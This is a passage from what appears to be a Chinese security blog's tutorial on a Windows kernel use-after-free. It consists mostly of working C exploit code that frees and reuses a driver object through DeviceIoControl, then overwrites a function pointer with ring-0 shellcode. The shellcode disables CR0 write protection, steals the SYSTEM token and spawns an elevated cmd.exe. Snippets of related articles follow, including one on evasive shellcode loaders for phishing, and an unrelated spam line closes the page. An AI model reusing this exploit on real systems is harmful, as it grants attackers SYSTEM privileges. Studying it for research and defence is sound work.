NULL);          // 與驅動設備進行交互,將申請的內存塊釋放    DeviceIoControl(hDevice,                    dwFreeIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);     char szInput[0x58] = { 0 };     *(PDWORD)szInput = (DWORD)Ring0ShellCode;    // 與驅動設備進行交互,對函數地址進行覆蓋    if (!DeviceIoControl(hDevice,                         dwFakeIoCtl,                         szInput,                         0x58,                         NULL,                         0,                         &dwReturnLength,                         NULL))    {        ShowError("DeviceIoControl", GetLastError());        goto exit;    }     // 與驅動設備進行交互,再次對函數進行調用    DeviceIoControl(hDevice,                    dwUseIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);          if (g_bIsExecute)    {        printf("Ring0 代碼執行完成");    }     si.cb = sizeof(si);    if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),                       NULL,                       NULL,                       NULL,                       FALSE,                       CREATE_NEW_CONSOLE,                       NULL,                       NULL,                       &si,                       &pi))    {        printf("CreateProcess Error");        goto exit;    }     exit:    if (hDevice) NtClose(hDevice);    system("pause");     return 0;} void ShowError(PCHAR msg, DWORD ErrorCode){    printf("%s Error 0x%X", msg, ErrorCode);} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){    // 關閉頁保護    __asm    {        cli        mov eax, cr0        and eax, ~0x10000        mov cr0, eax    }     __asm    {        // 取當前線程        mov eax, fs:[0x124]        // 取線程對應的EPROCESS        mov esi, [eax + 0x150]        mov eax, esi    searchWin7:        mov eax, [eax + 0xB8]        sub eax, 0x0B8        mov edx, [eax + 0xB4]        cmp edx, 0x4        jne searchWin7        mov eax, [eax + 0xF8]        mov [esi + 0xF8], eax    }     // 開起頁保護    __asm    {        mov eax, cr0        or eax, 0x10000        mov cr0, eax        sti    }     g_bIsExecute = TRUE;}
    

    調用完成以后,程序將成功提權:

    offset指針變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    前言之前hvv的時候有條件釣魚的情況下也沒有想著去嘗試,一方面是免殺的工作沒準備好。2022.11.15:花了幾天寫了這個,但是發現對于釣魚的話效果其實還是不行,所以這篇就單純記錄下了,白加黑的方式還是更適合做權限維持,這篇筆記僅供大家參考0X00????啟動為了更好的起到免殺和適配環境原因,所以啟動的四步操作均通過匯編來進行實現,之后各個語言只需要通過shellcode加載器進行加載這段shellcode即可python shellcode loaderimport ctypesimport sys
    近期接著之前的進度終于啃完了這一章,這里給大家繼續同步K A, Monnappa.《Forensic Learning Malware Analysis》精要翻譯,以及翻譯過程中的一些小實踐記錄。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。
    這是來源lea rax lpTimerQueryHostPerformanceCountermov qword ptr cs:off_140c01e00,rax這是出接口 = HookHalpTimerQueryHostPerformanceCounter;總結是緣起緣滅。這兩個指針其實就是得到系統時間。而且是唯一在HalpTimerQueryHostPerformanceCounter用到的指針。如果之前的off_140C00A30是被PG監控的,這兩個指針會不會被監控呢?修復函數我直接重命名。發現都是在出接口 hook。
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    UAF漏洞全稱為use after free,即釋放后重用。
    利用UAF漏洞UAF漏洞(Use-After-Free)是一種內存破壞漏洞,漏洞成因是一塊堆內存被釋放了之后又被使用。又被使用指的是:指針存在(懸垂指針被引用)。這個引用的結果是不可預測的,因為不知道會發生什么。由于大多數的堆內存其實都是C++對象,所以利用的核心思路就是分配堆去占坑,占的坑中有自己構造的虛表。
    有些師傅可能看到這個名字有些陌生,但實際上這已經是一個很早以前就出現的利用方法了,一直適用到最新的 GLIBC 中。
    聲明:本篇文章由 可可@QAX CERT 原創,僅用于技術研究,不恰當使用會造成危害,嚴禁違法使用 ,否則后
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类